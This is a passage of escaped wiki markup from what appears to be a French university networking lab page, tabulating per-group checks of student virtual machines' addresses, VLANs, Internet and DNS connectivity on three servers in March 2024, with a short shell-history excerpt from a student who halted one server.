| 9 || g9-ncazin || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.0.69.153&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur VLAN50 : 172.26.145.118&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe0c:3753&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connexion à Internet en IPv4 possible&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 7 || g10-tnave || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.0.69.104&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur VLAN50 : 172.26.145.120&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe05:3c4c&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connexion à Internet en IPv4 possible&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 11 || g11-mchauvel || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.69.0.175&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur VLAN50 : 172.26.145.122&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fed5:a29d&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connexion à Internet en IPv4 possible&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Commutateurs virtuels :&lt;br /&gt;
* CV OK : g1, g2, g6, g7, g9, g10, g11.&lt;br /&gt;
* CV sans VLAN : g1, g3, g4, g5.&lt;br /&gt;
&lt;br /&gt;
VLANS :&lt;br /&gt;
* VLAN OK : g6, g7, g9, g10, g11;&lt;br /&gt;
* VLAN à corriger : g2 (non initialisé).&lt;br /&gt;
&lt;br /&gt;
=== Serveur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! N° groupe !! Nom machine&lt;br /&gt;
! IPv4 CV !! IPv4 VLAN50 !! IPv6 VLAN50&lt;br /&gt;
! Connexion IPv4 Internet !! Résolution DNS&lt;br /&gt;
|-&lt;br /&gt;
| 1 || g1skaderis || Machine non contactable sur bridgeStudents || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 3 || g3-lderycke || pas d'IPv4 sur le CV || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur VLAN50 : 172.26.145.107 172.26.145.107&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe22:6c&amp;lt;/div&amp;gt; || pas de connexion à Internet en IPv4 || pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| 4 || g4-abecquet || Machine non contactable sur bridgeStudents || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 6 || g6-crhanim || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.0.69.192&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur VLAN50 : 172.26.145.113&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe28:f8af&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connexion à Internet en IPv4 possible&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 7 || g7-achaouni || pas d'IPv4 sur le CV || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur VLAN50 : 172.26.145.115&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fecc:52be&amp;lt;/div&amp;gt; || &amp;lt;div style='color: orange;'&amp;gt;connexion à Internet en IPv4 possible (passe par VLAN50)&amp;lt;/div&amp;gt; || &amp;lt;div style='color: orange;'&amp;gt;résolution DNS fonctionnelle (passe par VLAN50)&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 9 || g9-acegarra || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.0.69.160&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur VLAN50 : 172.26.145.119&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fed9:960a&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connexion à Internet en IPv4 possible&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 10 || g10-tduyck || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.0.69.178&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur VLAN50 : 172.26.145.121&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:e3ff:fe28:c19e&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connexion à Internet en IPv4 possible&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 11 || g11-tnehari || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.69.0.240&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur VLAN50 : 172.26.145.123&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe38:6bca&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connexion à Internet en IPv4 possible&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Commutateurs virtuels :&lt;br /&gt;
* CV OK : g6, g9, g10, g11. &lt;br /&gt;
* CV sans VLAN : g1, g3, g4, g5.&lt;br /&gt;
* CV à corriger : g2 (mauvaises interfaces dans le CV), g7 (vlans non initialisés, mauvais noms de vlans).&lt;br /&gt;
&lt;br /&gt;
VLANS :&lt;br /&gt;
* VLAN OK : g6, g9, g10, g11.&lt;br /&gt;
* VLAN HS : g7 (corriger les noms déjà).&lt;br /&gt;
&lt;br /&gt;
=== Serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! N° groupe !! Nom machine&lt;br /&gt;
! IPv4 Internet !! IPv6 Internet&lt;br /&gt;
! Connexion IPv4 Internet&lt;br /&gt;
|-&lt;br /&gt;
| 1 || g1_router || pas d'IPv4 routée sur Internet || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur Internet : 2001:660:4401:60a0:216:3eff:fe8f:70b&amp;lt;/div&amp;gt; || pas de connexion à Internet en IPv4&lt;br /&gt;
|-&lt;br /&gt;
| 3 || g3_router || Machine non contactable sur SE4 || ||&lt;br /&gt;
|-&lt;br /&gt;
| 4 || g4_router || Machine non contactable sur SE4 || ||&lt;br /&gt;
|-&lt;br /&gt;
| 6 || g6_router || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur Internet : 193.48.57.184&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur Internet : 2001:660:4401:60a0:216:4eff:fe8f:72a&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connexion à Internet en IPv4 possible&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 7 || g7_router || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur Internet : 193.48.57.185&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur Internet : 2001:660:4401:60a0:217:4fff:fefc:7e2a&amp;lt;/div&amp;gt; || pas de connexion à Internet en IPv4&lt;br /&gt;
|-&lt;br /&gt;
| 8 || g8_router || pas d'IPv4 routée sur Internet || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur Internet : 2001:660:4401:60a0:216:3eff:feeb:3069&amp;lt;/div&amp;gt; || pas de connexion à Internet en IPv4&lt;br /&gt;
|-&lt;br /&gt;
| 9 || g9_router || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur Internet : 193.48.57.179&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur Internet : 2001:660:4401:60a0:216:3eff:fe4d:60f3&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connexion à Internet en IPv4 possible&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 10 || g10_router || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur Internet : 193.48.57.187&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur Internet : 2001:660:4401:60a0:216:3eff:fe8f:fab&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connexion à Internet en IPv4 possible&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 11 || g11_router || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur Internet : 193.48.57.189&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur Internet : 2001:660:4401:60a0:216:3eff:fe5f:b67b&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connexion à Internet en IPv4 possible&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Commutateurs virtuels :&lt;br /&gt;
* CV OK : g1, g4, g6, g7, g8, g9, g10, g11.&lt;br /&gt;
* CV sans VLAN : g3.&lt;br /&gt;
* CV à corriger : g2 (ether9 corrigé en ether9.202), g5 (manque le down)&lt;br /&gt;
&lt;br /&gt;
VLANS :&lt;br /&gt;
* VLAN OK : g1, g4, g5, g6, g8, g9, g10, g11.&lt;br /&gt;
* VLAN à corriger : g2 (non initialisé), g7 (non initialisé),&lt;br /&gt;
&lt;br /&gt;
== Contrôle continu du 25/03/2024 ==&lt;br /&gt;
&lt;br /&gt;
=== Serveur &amp;lt;code&amp;gt;penfret&amp;lt;/code&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! N° groupe !! Nom machine&lt;br /&gt;
! IPv4 CV !! IPv4 VLAN50 !! IPv6 VLAN50&lt;br /&gt;
! Connexion IPv4 Internet !! Résolution DNS&lt;br /&gt;
|-&lt;br /&gt;
| 1 || g1mnorman1 || Machine non contactable sur bridgeStudents || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 3 || g3-scruchet || Machine non contactable sur bridgeStudents || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 4 || g4-rduhr || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.69.0.216&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur VLAN50 : 172.26.145.108&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fea9:2d79&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connexion à Internet en IPv4 possible&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 5 || g5-ybenmbar || pas d'IPv4 sur le CV || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur VLAN50 : 172.26.145.110&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe7f:193&amp;lt;/div&amp;gt; || pas de connexion à Internet en IPv4 || pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| 6 || g6-handrian || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.0.69.208&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur VLAN50 : 172.26.145.112&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fee7:783a&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connexion à Internet en IPv4 possible&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 7 || g7-belhasna || pas d'IPv4 sur le CV || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur VLAN50 : 172.26.145.114&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe41:da85&amp;lt;/div&amp;gt; || pas de connexion à Internet en IPv4 || pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| 9 || g9-ncazin || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.0.69.153&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur VLAN50 : 172.26.145.118&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe0c:3753&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connexion à Internet en IPv4 possible&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 10 || g10-tnave || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.0.69.104&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur VLAN50 : 172.26.145.120&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe05:3c4c&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connexion à Internet en IPv4 possible&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 11 || g11-mchauvel || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.69.0.175&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur VLAN50 : 172.26.145.122&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fed5:a29d&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connexion à Internet en IPv4 possible&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Serveur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! N° groupe !! Nom machine&lt;br /&gt;
! IPv4 CV !! IPv4 VLAN50 !! IPv6 VLAN50&lt;br /&gt;
! Connexion IPv4 Internet !! Résolution DNS&lt;br /&gt;
|-&lt;br /&gt;
| 1 || g1skaderis || Machine non contactable sur bridgeStudents || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 3 || g3-lderycke || pas d'IPv4 sur le CV || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur VLAN50 : 172.26.145.107&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe22:6c&amp;lt;/div&amp;gt; || pas de connexion à Internet en IPv4 || pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| 4 || g4-abecquet || Machine non contactable sur bridgeStudents &amp;lt;div style=&amp;quot;color: red;&amp;quot;&amp;gt;&amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; détruit&amp;lt;/div&amp;gt; || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 6 || g6-crhanim || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.0.69.192&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur VLAN50 : 172.26.145.113&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe28:f8af&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connexion à Internet en IPv4 possible&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 7 || g7-achaouni || pas d'IPv4 sur le CV || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur VLAN50 : 172.26.145.115&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fecc:52be&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connexion à Internet en IPv4 possible&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 9 || g9-acegarra || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.0.69.160&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur VLAN50 : 172.26.145.119&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fed9:960a&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connexion à Internet en IPv4 possible&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 10 || g10-tduyck || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.0.69.178&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur VLAN50 : 172.26.145.121&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:e3ff:fe28:c19e&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connexion à Internet en IPv4 possible&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 11 || g11-tnehari || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.69.0.240&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur VLAN50 : 172.26.145.123&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe38:6bca&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connexion à Internet en IPv4 possible&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Serveur arrêté le 22 mars à 21h16 par un élève. Petit extrait de l'historique :&lt;br /&gt;
&lt;br /&gt;
  463  cd /var/log/xen-tools&lt;br /&gt;
  464  cat g10-tduyck.log &lt;br /&gt;
  465  xen console g10-tduyck&lt;br /&gt;
  466  xen console 66&lt;br /&gt;
  467  xen console 66&lt;br /&gt;
  468  cd /var/log/xen-tools/&lt;br /&gt;
  469  cat g4-abecquet.log &lt;br /&gt;
  470  apt update&lt;br /&gt;
  471  dc /etc/apt&lt;br /&gt;
  472  cd /etc/apt&lt;br /&gt;
  473  ls&lt;br /&gt;
  474  nano sources.list&lt;br /&gt;
  475  nano sources.list.d&lt;br /&gt;
  476  nano sources.list&lt;br /&gt;
  477  nano sources.list&lt;br /&gt;
  478  halt&lt;br /&gt;
&lt;br /&gt;
=== Serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! N° groupe !! Nom machine&lt;br /&gt;
! IPv4 Internet !! IPv6 Internet&lt;br /&gt;
! Connexion IPv4 Internet&lt;br /&gt;
|-&lt;br /&gt;
| 1 || g1_router || pas d'IPv4 routée sur Internet || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur Internet : 2001:660:4401:60a0:216:3eff:fe8f:70b&amp;lt;/div&amp;gt; || pas de connexion à Internet en IPv4&lt;br /&gt;
|-&lt;br /&gt;
| 3 || g3_router || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur Internet : 193.48.57.181&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur Internet : 2001:660:4401:60a0:216:3eff:fe26:9696&amp;lt;/div&amp;gt; || pas de connexion à Internet en IPv4&lt;br /&gt;
|-&lt;br /&gt;
| 4 || g4_router || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur Internet : 193.48.57.182&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur Internet : 2001:660:4401:60a0:216:3eff:fefc:6d5d&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connexion à Internet en IPv4 possible&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 5 || g5_router || pas d'IPv4 routée sur Internet || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur Internet : 2001:660:4401:60a0:216:3eff:fecb:2a9c&amp;lt;/div&amp;gt; || pas de connexion à Internet en IPv4&lt;br /&gt;
|-&lt;br /&gt;
| 6 || g6_router || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur Internet : 193.48.57.184&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur Internet : 2001:660:4401:60a0:216:4eff:fe8f:72a&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connexion à Internet en IPv4 possible&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 7 || g7_router || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur Internet : 193.48.57.185&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur Internet : 2001:660:4401:60a0:217:4fff:fefc:7e2a&amp;lt;/div&amp;gt; || pas de connexion à Internet en IPv4&lt;br /&gt;
|-&lt;br /&gt;
| 8 || g8_router || pas d'IPv4 routée sur Internet || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur Internet : 2001:660:4401:60a0:216:3eff:feeb:3069&amp;lt;/div&amp;gt; || pas de connexion à Internet en IPv4&lt;br /&gt;
|-&lt;br /&gt;
| 9 || g9_router || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur Internet : 193.48.57.179&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur Internet : 2001:660:4401:60a0:216:3eff:fe4d:60f3&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connexion à Internet en IPv4 possible&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 10 || g10_router || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur Internet : 193.48.57.187&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur Internet : 2001:660:4401:60a0:216:3eff:fe8f:fab&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connexion à Internet en IPv4 possible&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 11 || g11_router || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur Internet : 193.48.57.189&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur Internet : 2001:660:4401:60a0:216:3eff:fe5f:b67b&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connexion à Internet en IPv4 possible&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Contrôle continu du 26/03/2024 ==&lt;br /&gt;
&lt;br /&gt;
=== Serveur &amp;lt;code&amp;gt;penfret&amp;lt;/code&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! N° groupe !! Nom machine&lt;br /&gt;
! IPv4 CV !! IPv4 VLAN50 !! IPv6 VLAN50&lt;br /&gt;
! Connexion IPv4 Internet !! Résolution DNS&lt;br /&gt;
|-&lt;br /&gt;
| 1 || g1mnorman1 || pas d'IPv4 sur le CV || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur VLAN50 : 172.26.141.102&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fed1:cff3&amp;lt;/div&amp;gt; || pas de connexion à Internet en IPv4 || pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| 3 || g3-scruchet || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.69.0.237&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur VLAN50 : 172.26.145.106&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fee7:cc15&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connexion à Internet en IPv4 possible&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 4 || g4-rduhr || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.69.0.216&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur VLAN50 : 172.26.145.108&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fea9:2d79&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connexion à Internet en IPv4 possible&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 5 || g5-ybenmbar || pas d'IPv4 sur le CV || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur VLAN50 : 172.26.145.110&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe7f:193&amp;lt;/div&amp;gt; || pas de connexion à Internet en IPv4 || pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| 6 || g6-handrian || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.0.69.208&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur VLAN50 : 172.26.145.112&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fee7:783a&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connexion à Internet en IPv4 possible&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 7 || g7-belhasna || pas d'IPv4 sur le CV || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur VLAN50 : 172.26.145.114&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe41:da85&amp;lt;/div&amp;gt; || pas de connexion à Internet en IPv4 || pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
